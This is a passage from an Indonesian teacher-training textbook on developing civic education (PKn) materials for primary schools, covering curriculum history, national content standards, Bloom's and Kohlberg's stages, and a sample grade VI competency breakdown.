PKn kepada peserta didik di Sekolah Dasar? Sebenarnya, kegiatan mengajar atau pembelajaran bagi Anda tidak terlalu banyak masalah karena mungkin Anda telah berpengalaman, namun agar kemampuan Anda semakin mahir, khususnya dalam pembelajaran PKn, maka Anda perlu terus berlatih untuk membelajarkan fakta dan konsep-konsep tersebut. Selanjutnya, Anda pun dituntut untuk secara terus menerus mengembangkan fakta dan konsep pendidikan kewarganegaraan lainnya agar pengetahuan dan penguasaan Anda terhadap konsep-konsep dasar PKn semakin kaya dan cara membelajarkannya semakin mantap. Pada pembahasan ini akan diuraikan tentang pengembangan pembelajaran PKn di Sekolah Dasar. Masalah ini sangat penting bagi Anda calon guru kelas di SD mengingat sampai saat ini masih banyak guru yang belum mahir dalam mengembangkan materi pembelajaran secara layak, yakni sesuai dangan tuntutan perkembangan jaman dan kebutuhan siswa. Pendidikan kewarganegaraan adalah bidang kajian yang bersifat multifaset dengan konteks lintas bidang keilmuan yang bersifat interdisipliner/ multidisipliner/ multidimensional. Namun secara filsafat keilmuan, bidang studi ini memiliki objek kajian pokok ilmu politik, khususnya konsep demokrasi politik (political democracy) untuk aspek hak dan kewajiban (duties and rights of citizen). Dari objek kajian pokok inilah berkembang konsep Civics yang secara harfiah diambil dari bahasa latin civicus, yang artinya warga negara pada jaman Yunani kuno. Kemudian secara akademis diakui sebagai embrionya civic education. Selanjutnya di Indonesia hal ini diadaptasi menjadi “pendidikan kewarganegaraan” (PKn). Secara metodologis PKn sebagai suatu bidang keilmuan merupakan pengembangan salah satu dari lima tradisi social studies yakni transmisi kewarganegaraan (citizenship transmission). Numan Somantri (2001) menyatakan bahwa obyek studi Civics dan Civic Education adalah warga negara dalam hubungannya dengan organisasi kemasyarakatan, sosial, ekonomi, agama, kebudayaan, dan negara. Kata kunci dari pengertian ini adalah warga negara dalam hubungannya dengan pihak lain yang dimaksud adalah negara. Hal ini sejalan dengan kajian yang telah dilakukan terdahulu bahwa pada hakikatnya obyek kajian PKn adalah perilaku warga negara (Sapriya, 2007). Dalam lokakarya metodologi Pendidikan Kewarganegaraan tahun 1973 dikemukakan bahwa obyek studi Civics adalah: (1) tingkah laku, (2) tipe pertumbuhan berpikir, (3) potensi yang ada dalam setiap diri warga negara, (4) hak dan kewajiban, (5) cita-cita dan aspirasi, (6) kesadaran (patriotisme, nasionalisme, saling pengertian internasional, moral Pancasila), dan (7) usaha, kegiatan, partisipasi, dan tanggung jawab. Dengan demikian, apabila fokus kajian di arahkan pada bidang telaahnya, maka sebenarnya ontologi PKn yang esensial adalah perilaku warga negara. Meskipun demikian, perlu disadari bahwa perilaku warga negara itu sangat kontekstual sehingga bidang kajian ini merupakan konteks dimana warga negara itu hidup dan berada. Konteks perilaku yang dimaksud adalah perilaku yang ditunjukkan oleh individu dalam suasana atau kondisi tertentu. Misalnya, bagaimana individu sebagai warga negara ketika ia berperilaku di rumah karena ia sebagai anggota keluarga (member of family); bagaimana individu berperilaku, berpikir, bekerja, berbuat sebagai anggota kelas di sekolah karena ia adalah warga sekolah (school citizen). Kemudian bagaimana ia berperilaku di masyarakat sebagai anggota masyarakat demokratis atau madani, apakah anggota partai politik, apakah anggota organisasi kemasyarakatan. Dilihat dari fenomena PKn sebagai kajian perilaku warga negara maka semakin tampak bahwa ruang lingkup telaahnya begitu luas. Kajian yang berpusat pada perilaku warga negara dapat dipandang dari berbagai dimensi yang lebih spesifik daripada tiga dimensi di atas. Warga negara merupakan individu yang dapat dipandang dari berbagai dimensi seperti psikologis, sosial, politik, normatif, antropologis dan dimensi lain sehingga dapat dinyatakan dengan sifat multidimensional. Perilaku warga negara sebagai pribadi maupun anggota masyarakat berada dalam lingkup sebuah organisasi, sebagai pengikat dan sekaligus yang memberi ruang untuk melakukan perbuatan. Organisasi yang dimaksud tersebut adalah negara sebagai organisasi tertinggi. Dalam hal ini, secara ontologis, sumber adanya PKn itu adalah negara dalam konteks yang luas. Sebuah negara dalam pengertian modern yang sesuai dengan hasil kesepakatan internasional (Misalnya, Konvensi Montevideo 1933) meliputi empat unsur, yakni: (1) ada unsur manusia atau rakyat; (2) ada unsur tanah air atau wilayah; (3) ada unsur pemerintah; dan (4) ada unsur pengakuan (atau kemampuan untuk mengadakan hubungan dengan negara atau subyek hukum bukan negara). Keberadaan negara bersifat dinamis dan dapat berkembang. Misalnya, jauh sebelum berdiri negara Kesatuan Republik Indonesia, mungkin hanya ada nusantara, sedangkan penduduk atau penghuni umumnya adalah pendatang dari wilayah lain. Secara kultural, kekayaan budaya dan adat istiadat merupakan bagian utuh dari penduduk Asia dan bagian umat manusia. Kemudian, adanya negara Indonesia karena ada proklamasi. Sebelum proklamasi, di wilayah nusantara pernah ada kerajaankerajaan, kemudian kerajaan dijajah Belanda pada abad ke-16. Lalu ada aksi berjuang, lalu ada merdeka 17 Agustus 1945. Konsep “ada” itu adalah prosesnya. Oleh karena itu, keberadaan bangsa dan negara merdeka, kondisi manusia Asia yang bersifat multietnis dan multikarakter merupakan aspek sosiologis dan psikologis-historis sebagai kajian ontologi PKn yang dapat dijadikan untuk pembentukan pengetahuan, sikap dan perilaku warga negara yang mendukung bagi pembangunan bangsa. Aspek emosional seperti rasa kebangsaan (nationalism) dan cinta tanah air (patriotism) bahkan dengan mengetahui dan memahami diri secara sosiologis dan historis akan dapat membangun kesadaran diri sebagai warga negara. Apa materi kajian PKn untuk warga sekolah? Materi PKn untuk lembaga persekolahan termasuk domain PKn sebagai program kurikuler. Dalam sistem pendidikan di Indonesia, dimensi program ini bersifat formal, dasar (basic) dan krusial dalam pembentukan kompetensi dan karakter warga negara. Mengapa demikian? Karena sejak kanak-kanak setiap warga negara pada umumnya telah mulai diperkenalkan dengan kehidupan bernegara dan berorganisasi pada tingkat yang paling sederhana. Mereka diperkenalkan tentang sejumlah konsep yang terkait dengan kehidupan berkelompok, berorganisasi, bermasyarakat, bernegara dan berpemerintahan. Demikian pula pada usia di sekolah dasar (SD/MI), sekolah menengah pertama (SMP/MTs), dan sekolah menengah atas (SMA/MA) bahkan pada tingkat Perguruan Tinggi (PT). Domain PKn sebagai program kurikuler dirancang dalam sejumlah dokumen kurikulum yang bersifat formal dan hasil pemikiran para ahli sesuai dengan tingkat usia dan jenjang sekolah yang semuanya diarahkan pada pembangunan karakter warga negara. Sebagaimana telah diuraikan sebelumnya bahwa persoalan yang dihadapi PKn bila dikaitkan dengan praktik dan perilaku kehidupan masyarakat dan bangsa Indonesia akhir-akhir ini masih jauh dari harapan. Bahkan masih jauh dari tujuan dan cita-cita bangsa sebagaimana yang digariskan dalam Pembukaan UUD 1945. Program PKn yang diselenggarakan di lembaga pendidikan formal seperti sekolah belum dapat dikatakan sinergi dengan program PKn yang diselenggarakan di luar lembaga pendidikan formal, kalau ada. Program PKn masih berjalan secara sendiri-sendiri sehingga persoalan bangsa, khususnya dalam upaya pembangunan warga negara yang baik belum optimal. Persoalan berikutnya yang dihadapi PKn saat ini adalah masalah perubahan kebijakan nasional tentang otonomi di bidang pendidikan yang berdampak luas hingga berpengaruh juga terhadap kebijakan kurikulum. Dengan peraturan baru tersebut, dimungkinkan bahwa kurikulum berdiversifikasi. Dalam konteks NKRI tentu kita tidak mengharapkan terjadinya diversifikasi kurikulum khususnya untuk PKn. Apakah boleh PKn itu terbelah, terpecah menjadi 340 model PKn Kabupaten/Kota? Untuk menjawab pertanyaan ini, kita lihat Undang-Undang Nomor 20 Tahun 2003 Tentang Sisdiknas Pasal 35 yang menyatakan tentang standar nasional pendidikan yang terdiri atas standar isi, proses, kompetensi lulusan, tenaga kependidikan, sarana dan prasarana, pengelolaan, pembiayaan, dan penilaian pendidikan. Aturan ini telah secara jelas menegaskan bahwa diversifikasi mungkin terjadi bahkan tak dapat dihindari tetapi semuanya tidak boleh menyimpang dari standarstandar yang telah dirumuskan dalam ketentuan perundangan tentang Sistem Pendidikan Nasional. Dalam mengangkat dimensi PKn sebagai program kurikuler memang tidak dapat diabaikan pembahasan tentang isi, proses dan kompetensi lulusan. Pertanyaannya adalah apa yang harus sama dan apa yang boleh berbeda. Untuk menjaga dan mengendalikan mutu dipandang dari sudut kebutuhan peserta didik, maka kompetensi lulusan harus sama. Misalnya, salah satu kompetensi warga negara yang harus dikembangkan adalah kemampuan mengambil keputusan, decision making competence atau decision making skills. Hal ini tidak mungkin berbeda, artinya semua warga negara harus mempunyai kemampuan mengambil keputusan. Demikian pula kemampuan menyelesaikan masalah (problem solving skills) dan kemampuan menggunakan mass media untuk membuat keputusan. Melalui kajian apa kemampuan pengambilan keputusan itu, semuanya diserahkan kepada tiap satuan pendidikan untuk menyesuaikannya dengan konteks kehidupan dan lingkungan masing-masing satuan pendidikan yang berbeda-beda Dengan orientasi pada kompetensi yang menjadi standar nasional, maka diharapkan tujuan dari adanya kebijakan otonomi pendidikan akan terwujud. Iklim kompetisi akan semakin berkembang yang pada akhirnya akan mengarah pada peningkatan mutu pendidikan dan mutu lulusan. Pertanyaan berikutnya: apakah isi (content) PKn itu harus sama? Dalam pelaksanaan kebijakan otonomi pendidikan, tentu ada perbedaan dari pelaksanaan kebijakan pendidikan sebelumnya yang umumnya bersifat sentralistis. Dengan adanya kewenangan penyusunan kurikulum oleh satuan pendidikan masing-masing, maka memungkinkan tiap satuan pendidikan untuk menentukan isi (content) PKn sesuai dengan tuntutan dan kebutuhan peserta didik yang ada di satuan pendidikan masing-masing. Kondisi ini tentu saja berbeda-beda, misalnya kalau PKn itu untuk Irian Jaya tentu berbeda isinya dengan PKn untuk DKI Jakarta. Perbedaan itu disebabkan oleh adanya perbedaan konteks atau situasi sosial budaya di Irian Jaya dan Jakarta. Artinya muatan isi mata pelajaran yang harus dikembangkan berbeda, tetapi bagaimana muatan itu di proses sehingga menghasilkan kemampuan mengambil keputusan mungkin sama. Jadi yang berbeda sebenarnya adalah muatan pengambilan keputusannya. Dengan demikian, perbedaannya terdapat pada proses dan isi (content) nya. Content ini pun harus dibedakan, ada content yang sifatnya structural formal, ada content informal atau termasuk kelompok isi yang diperoleh dari sumber sosial kultural. Content yang bersifat structural formal merupakan isi yang tidak boleh ditawar (unnegotiated, given) sehingga content ini harus sama untuk seluruh siswa, seluruh sekolah, seluruh kabupaten/kota, seluruh propinsi dan seluruh bangsa. Ketika guru berbicara, misalnya, tentang Konstitusi Negara Republik Indonesia (UUD 1945) maka semua orang harus bicara sama. Dengan demikian, content yang bersifat structural formal ini merupakan content perekat, pemersatu bangsa yang akan memperkuat semangat nasionalisme Indonesia dan Negara Kesatuan Republik Indonesia (NKRI). Sedangkan content informal bersifat kontekstual tergantung lingkungan tempat dimana siswa berada. Namun, bagaimana perilaku warga negara terjadi dan dibentuk dalam pembelajaran di berbagai konteks pasti berbeda-beda. Untuk lebih jelasnya mengenai perbedaan dalam pembelajaran PKn ini dapat dilihat tabel di bawah ini. Tabel: Jenis Muatan Isi Pembelajaran PKn Tetap Pemersatu Dapat Berubah Kontekstual Content Structural Formal Content informal Program PKn sebagai domain kurikuler berbentuk sejumlah dokumen yang setiap saat/masa dapat berubah. Tidak ada dokumen kurikuler yang steril dari perubahan. Dokumen kurikulum PKn dibuat dan dipersiapkan untuk memenuhi kebutuhan masyarakat yang selalu mengalami perubahan dari satu masa ke masa berikutnya. Perubahan kurikulum yang dilakukan oleh para pengembang merupakan proses alamiah mengikuti perkembangan masyarakat yang berubah sejalan dengan tuntutan dan tantangan yang dihadapi. Perubahan kurikulum hendaknya dilakukan setelah ada proses evaluasi terhadap kurikulum terdahulu. Sejalan dengan perubahan masyarakat dan sistem pemerintahan di Indonesia, Kurikulum PKn sekolah yang pernah ada di Indonesia dapat dipilah menjadi empat model. Pertama adalah model PKn pada kurun waktu tahun 1960-an sampai 1968. Kurikulum pada masa ini memiliki ontologi pokok berupa content yang lebih banyak mengandung aspek sosial politik yang berkaitan dengan doktrin-doktrin kenegaraan. Kedua, ketika berubah menjadi PKn pada tahun 1968-an sampai 1975-an muatan isi kurikulum mulai berubah menjadi bukan hanya doktrin kenegaraan yang spesifik, melainkan sudah membahas persoalan-persoalan moral dan sebagainya. Ketiga, begitu PKn itu menjadi Pendidikan Moral Pancasila pada tahun 1975, content-nya itu menukik pada butir-butir nilai Pancasila yang berlaku sampai kurikulum 1994. Keempat, sejalan dengan adanya perubahan politik dari Orde Baru ke Orde Reformasi, sebenarnya ketika berlaku Kurikulum PPKn 1994, pernah dilakukan penyesuaian content. Ada sejumlah content Kurikulum 1994 yang ditambah dan dikurangi, disesuaikan dengan semangat dan nuansa reformasi. Pada sekitar tahun 1999 lahirlah Kurikulum Pendidikan Pancasila dan Kewarganegaraan (PPKn) dengan Suplemen. Sejumlah butiran dan nilai hasil pemikiran yang terkait dengan budi pekerti diakomodasi ke dalam Kurikulum PPKn 1994 dengan Suplemen. Hingga kini sejumlah sekolah baik SD/MI, SMP/MTs, maupun SMA/MA masih ada yang menggunakan Kurikulum PPKn 1994 dengan Suplemen, beberapa sekolah lainnya menggunakan Kurikulum 2006, dan beberapa sekolah menerapkan Kurikulum Tingkat Satuan Pendidikan (KTSP) berdasarkan pada Standar Nasional, Standar Isi (Permen Diknas Nomor 22/2005) dan Standar Kompetensi Lulusan (Permen Diknas Nomor 23/2005). Ketika bangsa Indonesia memasuki tahun 2000, di kalangan Departemen Pendidikan Nasional mulai diadakan berbagai kajian dan evaluasi terhadap dokumen Kurikulum PKn hingga lahirlah gagasan tentang Kurikulum Berbasis Kompetensi (KBK) untuk mata pelajaran PKn sekolah. Nama untuk mata pelajaran ini pun telah berubah. Untuk SD/MI dan SMP/MTs, mata pelajaran PKn digabungkan dengan Ilmu Pengetahuan Sosial (IPS) dengan menggunakan nama baru menjadi Pengetahuan Sosial. Sedangkan untuk SMA/MA, mata pelajaran PKn berubah nama menjadi Kewarganegaraan. Dari aspek content, baik PKn SD/MI, SMP/MTs yang ada dalam mata pelajaran Pengetahuan Sosial, maupun PKn SMA/MA dalam mata pelajaran Kewarganegaraan pada dasarnya pernah menimbulkan kontroversi dan perdebatan di kalangan masyarakat umum maupun masyarakat akademik. Sejalan dengan perkembangan dan perubahan dalam pelaksanaan kurikulum PKn berbasis kompetensi secara umum Kurikulum PKn yang sedang dalam proses implementasi setelah melalui masa uji coba tidak dipungkiri masih menunjukkan sejumlah kelemahan. Ada kecenderungan content untuk kurikulum berbasis kompetensi kembali menggunakan pendekatan yang sifatnya struktural. Dalam hal ini, sekarang sudah saatnya para pakar dan praktisi PKn harus duduk bersama untuk melihat sebenarnya apa yang seyogianya dikemas untuk peserta didik. Perlu dipertimbangkan dalam proses mengemas content agar memperhatikan tantangan saat ini. Ada dua hal tantangan warga negara pada masa kontemporer. Pertama, tantangan untuk menghadapi kehidupan sosial kultural yang kontemporer di dalam kehidupannya. Kedua, tantangan untuk memahami persoalan-persoalan konseptual sebagai bekal untuk menganalisis persoalan kontemporer itu. Satu contoh persoalan kontemporer sekarang adalah konflik antaretnis, separatisme, kemiskinan, kebodohan, korupsi yang merajalela, dan masalah lain tentang masalah perilaku immoral. Persoalan ini merupakaan isu penting yang harus segera dikomunikasikan kepada peserta didik. Namun, untuk melakukan proses tersebut tentu saja peserta didik perlu bekal. Di dalam benak peserta didik harus sudah ada bekal konsep-konsep supaya ketika mereka mengambil posisi di dalam proses pengambilan keputusan, misalnya, terkait masalah konflik antaretnis, maka mereka sudah memiliki argumen yang cerdas, logis, dan layak. Dengan kata lain, didalam benak peserta didik telah ada sejumlah konsep yang cukup memadai untuk mengatasi atau menghadapi isu-isu itu sehingga pendapat-pendapatnya itu tidak common sense tetapi ditopang oleh conceptual framework yang melandasinya. Dari kenyataan ini tampak bahwa persoalan yang dihadapi dalam internal isi kajian PKn sebagai program kurikuler masih menunjukkan kesenjangan antara kepentingan pemerintah dengan kebutuhan dan tuntutan masyarakat serta tantangan masa depan. Sebagai standar nasional dalam aspek isi atau ruang lingkup mata pelajaran Pendidikan Kewarganegaraan sebagaimana termuat dalam standar isi (Permendiknas Nomor 22/2005) meliputi aspek-aspek sebagai berikut. Persatuan dan Kesatuan bangsa, meliputi: Hidup rukun dalam perbedaan, Cinta lingkungan, Kebanggaan sebagai bangsa Indonesia, Sumpah Pemuda, Keutuhan Negara Kesatuan Republik Indonesia, Partisipasi dalam pembelaan negara, Sikap positif terhadap Negara Kesatuan Republik Indonesia, Keterbukaan dan jaminan keadilan Norma, hukum dan peraturan, meliputi: Tertib dalam kehidupan keluarga, Tata tertib di sekolah, Norma yang berlaku di masyarakat, Peraturanperaturan daerah, Norma-norma dalam kehidupan berbangsa dan bernegara, Sistim hukum dan peradilan nasional, Hukum dan peradilan internasional Hak asasi manusia meliputi: Hak dan kewajiban anak, Hak dan kewajiban anggota masyarakat, Instrumen nasional dan internasional HAM, Pemajuan, penghormatan dan perlindungan HAM Kebutuhan warga negara meliputi: Hidup gotong royong, Harga diri sebagai warga masyarakat, Kebebasan berorganisasi, Kemerdekaan mengeluarkan pendapat, Menghargai keputusan bersama, Prestasi diri , Persamaan kedudukan warga negara Konstitusi Negara meliputi: Proklamasi kemerdekaan dan konstitusi yang pertama, Konstitusi-konstitusi yang pernah digunakan di Indonesia, Hubungan dasar negara dengan konstitusi Kekuasan dan Politik, meliputi: Pemerintahan desa dan kecamatan, Pemerintahan daerah dan otonomi, Pemerintah pusat, Demokrasi dan sistem politik, Budaya politik, Budaya demokrasi menuju masyarakat madani, Sistem pemerintahan, Pers dalam masyarakat demokrasi Pancasila meliputi: kedudukan Pancasila sebagai dasar negara dan ideologi negara, Proses perumusan Pancasila sebagai dasar negara, Pengamalan nilai-nilai Pancasila dalam kehidupan sehari-hari, Pancasila sebagai ideologi terbuka 8. Globalisasi meliputi: Globalisasi di lingkungannya, Politik luar negeri Indonesia di era globalisasi, Dampak globalisasi, Hubungan internasional dan organisasi internasional, dan Mengevaluasi globalisasi. Dengan menyimak paparan di atas, maka pengembangan materi pembelajaran PKn hendaknya diarahkan pada ketentuan yang telah ada dalam standar isi sesuai dengan Permendiknas Nomor 22 tahun 2006. Pembelajaran materi PKn harus pula mengacu pada tujuan yang telah dirumuskan dalam ketentuan Permendiknas tersebut, yakni: Berpikir secara kritis, rasional, dan kreatif dalam menanggapi isu kewarganegaraan Berpartisipasi secara aktif dan bertanggung jawab, dan bertindak secara cerdas dalam kegiatan bermasyarakat, berbangsa, dan bernegara, serta anti-korupsi Berkembang secara positif dan demokratis untuk membentuk diri berdasarkan karakter-karakter masyarakat Indonesia agar dapat hidup bersama dengan bangsa-bangsa lainnya Berinteraksi dengan bangsa-bangsa lain dalam percaturan dunia secara langsung atau tidak langsung dengan memanfaatkan teknologi informasi dan komunikasi. Selanjutnya, bagaimana pembelajaran materi PKn dapat dilakukan? Sebelum membahas tentang persoalan ini terlebih dahulu perlu dikemukakan beberapa prinsip berkenaan dengan tujuan dan metode pembelajaran. Tiap usaha pembelajaran (dalam arti membelajarkan siswa) sebenarnya bertujuan untuk menumbuhkembangkan atau menyempurnakan pola perilaku atau kompetensi tertentu dalam diri peserta didik. Pola perilaku ialah kerangka dasar dari sejumlah kegiatan, yang lazim dilaksanakan manusia untuk bertahan hidup dan untuk memperbaiki mutu hidupnya dalam situasi konkret. Kegiatan itu dapat berupa keterampilan intelektual seperti mengkaji, mengamati, menganalisis dan menilai keadaan dengan daya nalar. Kegiatan pembelajaran dapat juga berupa kegiatan jasmani, yang dilakukan dengan tenaga dan keterampilan fisik. Namun, secara umum manusia bertindak secara manusiawi apabila kedua jenis kegiatan tersebut dibuat secara terjalin dan sinergis. Kegiatan jasmani seyogianya didukung oleh kegiatan intelektual, dan demikian juga sebaliknya. Disamping menumbuhkan atau menyempurnakan pola perilaku, pembelajaran bertujuan pula untuk menimbulkan kebiasaan. Kebiasaan dapat dirumuskan sebagai keterarahan, kesiapsiagaan dalam diri manusia untuk melakukan kegiatan yang sama atau serupa dengan cara yang lebih mudah, tanpa memeras dan menguras tenaga. Kebiasaan akan timbul justru apabila kegiatan manusia berulang kali dengan sadar dan penuh perhitungan. Dengan demikian, tujuan tiap pembelajaran ialah menimbulkan atau menyempurnakan pola laku dan membina kebiasaan sehingga peserta didik terampil menjawab tantangan situasi kehidupan secara manusiawi. Dengan kata lain, pembelajaran ingin memekarkan kemampuan berpikir dan kemampuan bertindak pada peserta didik sehingga menghadapi keadaan apapun ia cukup sanggup mengamati keadaan, menilai keadaan, dan menentukan sikap serta tindakannya dalam keadaan tersebut. Kehidupan manusia dalam masyarakat modern dewasa ini sedang mengalami perubahan yang begitu pesat. Oleh karena itu, pembelajaran di abad sekarang ini hendaknya memperhatikan arus dan laju perubahan yang terjadi. Pembelajaran perlu membina pola berpikir, keterampilan dan kebiasaan, yang terbuka dan tanggap, yang mampu menyesuaikan diri secara manusiawi dengan perubahan. Kalau tujuan pembelajaran adalah menumbuhkan dan menyempurnakan pola perilaku, membina kebiasaan dan kemahiran menyesuaikan diri dengan keadaan yang berubah-ubah, maka metode pembelajaran harus mampu mendorong proses pertumbuhan dan penyempurnaan pola perilaku, membina kebiasaan, dan mengembangkan kemahiran untuk menyesuaikan diri. Pembelajaran harus mampu membina kemahiran pada peserta didik untuk secara kreatif dapat menghadapi situasi sejenis, malah situasi yang baru sama sekali atas cara yang memuaskan. Pemikiran kreatif yang dapat menelurkan tindakan kreatif pula wajib dibina dalam tiap pembelajaran, terutama pada jaman kita sekarang ini yang penuh dengan perubahan ini. Jelaslah bahwa metode pembelajaran yang ampuh harus mengembangkan pemikiran dan tindakan kreatif. Hal lainnya yang perlu diperhatikan sebagai prinsip pembelajaran adalah (1) tingkat kesulitan, dan (2) tingkat kemampuan berpikir. Tingkat kesulitan berkenaan dengan beban belajar (learning task) sedangkan tingkat kemampuan berpikir berkenaan dengan kemampuan kognitif siswa. Kemampuan berpikir, menurut sejumlah hasil riset, adalah bertahap dan berjenjang mulai dari yang sederhana/mudah kepada yang kompleks/rumit. Dengan merujuk pada taksonomi Bloom (1956), Rooijakkers (1989: 112) menyusun tingkat-tingkat kemampuan berpikir sebagai berikut. Taraf Nama taraf berpikir Macam kerja pikir yang dibelajarkan 5 4 3 2 1 Evaluasi Analisa dan sintesa Aplikasi Pemahaman Pengetahuan Berpikir kreatif atau berpikir untuk memecahkan masalah Berpikir menguraikan dan menggabungkan Berpikir menerapkan Berpikir dalam konsep dan belajar pengertian Belajar reseptif atau menerima Erat kaitannya dengan pembelajaran PKn adalah pertimbangan tentang tingkat penalaran moral. Atas dasar karya Piaget dalam penelitiannya tentang perkembangan moral, Kohlberg mengembangkan teori perkembangan moral kognitif. Dari hasil penelitiannya yang menggunakan dilemma moral hipotetik, Kohlberg menyusun tingkat perkembangan moral ke dalam enam tingkatan sebagai berikut. Taraf Tingkat perkembangan moral Prekonvensional 1. Orientasi hukuman dan kepatuhan. Konsepsi tentang baik dan buruk ditentukan oleh konsekuensi fisik tanpa memperhatikan makna atau nilai dari konsekuensi ini bagi individu. 2. Orientasi instrumental. Konsepsi tentang “baik” lebih ditentukan oleh kepuasan sendiri Konvensional 3. Orientasi keserasian antar personal. Apa yang menyenangkan atau membantu orang lain adalah “baik”. 4. Orientasi terhadap peraturan hukum dan ketertiban. Memelihara ketertiban sosial, menghormati kekuasaan, dan melaksanakan kewajiban sendiri adalah “baik”. Orang dihargai karena mentaati peraturan, hukum, dan kekuasaan yang berlaku. Pasca konvensional 5. Orientasi legalistik kontrak soaial. Apa yang “benar” ditentukan oleh nilai-nilai yang disepakati oleh masyarakat, termasuk hak-hak individu dan aturan-aturan konsensus. Namun demikian tekanannya diletakkan pada pertimbangan rasional dan kemanfaatan sosial. 6. Orientasi terhadap prinsip-prinsip etika universal. Yang “benar” merupakan masalah nurani sesuai dengan prinsip-prinsip pilihan sendiri yang dipAndang logis, ajeg, dan universal. Prinsip-prinsip yang universal ini pada hakekatnya merupakan prinsip-prinsip keadilan, persamaan hak asasi manusia, dan rasa hormat terhadap martabat manusia sebagai mahluk individu. Demikianlah paparan tentang beberapa prinsip yang patut diperhatikan dalam pengembangan materi pembelajaran PKn. Patut diperhatikan bahwa model pengembangan materi pembelajaran PKn di Sekolah Dasar hendaknya disesuaikan dengan tingkat kemampuan berpikir dan tingkat perkembangan moral anak-anak usia SD. Tugas dalam mengembangkan materi pembelajaran PKn seyogianya memperhatikan hakikat dan karaktertistik, tujuan, dan ruang lingkup PKn sesuai dengan ketentuan dalam Permendiknas Nomor 22 Tahun 2006. Secara lebih rinci, pengembangan materi pembelajaran PKn oleh guru mengacu pada standar kompetensi dan kompetensi dasar (SK/KD) sekolah dasar dan Sekolah Dasar (SD/MI) yang ada dalam standar isi. Dikemukakan dalam Permendiknas tersebut bahwa SK/KD menjadi arah dan landasan untuk mengembangkan materi pokok, kegiatan pembelajaran, dan indikator pencapaian kompetensi untuk penilaian. Dalam merancang kegiatan pembelajaran dan penilaian perlu memperhatikan Standar Proses dan Standar Penilaian. Berikut ini adalah contoh mengembangkan materi pembelajaran kelas VI semester 2. Kompetensi Dasar Rincian Materi 3.1 Menjelaskan pengertian kerjasama negara-negara Asia Tenggara 3.2 Memberikan contoh peran Indonesia dalam lingkungan negara-negara di Asia Tenggara a. pengertian kerjasama antarbangsa b. Negara-negara Asia Tenggara c. Pelaksanaan kerjasama Indonesia dengan negara-negara Asia Tengggara d. Peran Indonesia di Asia Tenggara 4.1 Menjelaskan politik luar negeri Indonesia yang bebas dan aktif 4.2 Memberikan contoh peranan politik luar negeri Indonesia dalam percaturan internasional a. Pengertian Politik luar negeri b. Politik luar negeri Indonesia bebas aktif. c. Pelaksanaan politik luar negeri bebas aktif. d. Contoh pelaksanaan politik luar negeri Indonesia. Demikianlah contoh pengembangan materi berdasarkan kompetensi dasar (KD). Selanjutnya Anda dapat mengembangkan materi pembelajaran lain sesuai dengan KD dan kelas serta semester. Bagaimana mengembangkan SKKD menjadi rencana pembelajaran baik berupa silabus maupun rencana pelaksanaan pembelajaran (RPP) dapat dikaji pada bab buku ajar berikut ini. Untuk anak-anak SD pada kelas-kelas rendah (kelas 1 sd kelas 3), pembelajaran materi PKn dapat diawali dengan memperkenalkan mereka pada sejumlah aturan-aturan hidup yang berlaku dalam kehidupan sehari-hari, baik dalam lingkungan keluarga, lingkungan madrasah, dan lingkungan masyarakat sekitar. Pengenalan terhadap keberadaan aturan-aturan tersebut hendaknya diarahkan pada tumbuhnya kesadaran pada diri anak tentang perlunya aturan dalam kehidupan kita. Perlu diperhatikan bahwa di kelas rendah, mengingat kemampuan berpikir anak masih bersifat holistik, maka pembelajaran hendaknya lebih banyak pada upaya pembiasaan. Media pembelajaran yang dapat digunakan adalah dengan memanfaatkan pengalaman langsung yang diperoleh anak-anak dalam keluarga, kelompok permainan, dan dalam kehidupan di sekolah. Secara lebih rinci uraian pengembangan materi dan pembelajaran untuk siswa SD kelas rendah dapat dilihat pada bab 6 dan untuk siswa SD kelas tinggi dapat dilihat pada bab 7 buku ajar ini. Rangkuman Secara harfiah, istilah materi berarti (1) substansi yang dapat menghasilkan sesuatu; (2) sesuatu yang diperlukan untuk melakukan aktivitas tertentu; sedangkan konten berarti “the things that are contained in something” (hal-hal yang ada di dalam sesuatu). Dalam konteks pembelajaran PKn istilah materi dan “content” dimaksudkan untuk membangun warga negara yang cerdas dan baik (smart and good citizen). Misi utama PKn adalah membantu para siswa belajar agar menjadi warga yang memiliki rasa kebangsaan dan cinta tanah air serta bertanggung jawab dan berpartisipasi di masyarakat demokratis yang majemuk baik dalam suku, bahasa, agama, budaya, maupun adat istiadat. PKn sebagai mata pelajaran di sekolah sangat bertanggung jawab untuk menjadikan warga negara yang cerdas dan baik dalam hidup berbangsa dan bernegara. Ada tiga sumber yang dapat diidentifikasi dalam mengorganisasikan sumber PKn, yakni: (1) “informal content” yang dapat ditemukan dalam kegiatan masyarakat tempat para siswa berada; (2) the formal disciplines meliputi geografi penduduk, sejarah, ilmu politik, ekonomi, sosiologi, antropologi, psikologi sosial, jurisprudensi, filsafat dan etika serta bahasa; (3) the responses of pupils ialah tanggapan-tanggapan siswa baik yang berasal dari “informal content” (events) maupun dari “formal disciplines” (studies). Ada dua unsur yang menjadi fokus materi pembelajaran PKn yang penting untuk jenjang Sekolah Dasar, yakni fakta (peristiwa, kasus aktual) dan konsep baik yang konkrit maupun abstrak. Fakta merupakan abstraksi dari kenyataan yang diamati yang sifatnya terbatas dan dapat diuji kebenarannya secara empiris. Sedangkan konsep merupakan abstraksi, suatu konstruksi logis yang terbentuk dari kesan, tanggapan dan pengalamanpengalaman kompleks. Fakta menekankan pada kekhususan, maka konsep memiliki ciri-ciri umum (common characteristics) yang sudah tentu pengertian konsep lebih luas daripada fakta. Ada empat kualifikasi yang dapat diterapkan untuk menguji apakah suatu konsep telah memenuhi persyaratan, yakni: (1) tingkat keabstrakan (degree of abstraction) dari konsep tersebut; (2) kompleksitas (complexity; (3) pembedaan (differentiation); dan (4) pemusatan dimensi (centrality of dimensions). Tujuan PKn hendaknya disesuaikan dengan tuntutan dan perkembangan zaman, artinya bukan hanya membangun warga negara yang baik (good citizen) semata melainkan warga negara yang cerdas (smart citizen) dalam menghadapi lingkungan kehidupannya. Hal ini perlu mendapat perhatian mengingat tantangan kehidupan saat ini tidak cukup dan dapat diselesaikan hanya oleh warga negara yang baik melainkan perlu pula oleh warga negara yang memiliki kecerdasan. Kecerdasan yang perlu dimiliki oleh seorang warga negara adalah kecerdasan dalam berbagai aspek, yakni kecerdasan dalam intelektual, emosional, sosial, dan bahkan spiritual. Kecerdasan yang dimiliki oleh seorang warga negara diharapkan dapat dimanfaatkan untuk berpikir dalam menganalisis berbagai masalah. Dalam hal ini, seorang warga negara harus memiliki sejumlah keterampilan/ kecakapan (skills), meliputi keterampilan berpikir, berkomunikasi, berpartisipasi, bahkan keterampilan meneliti untuk memecahkan 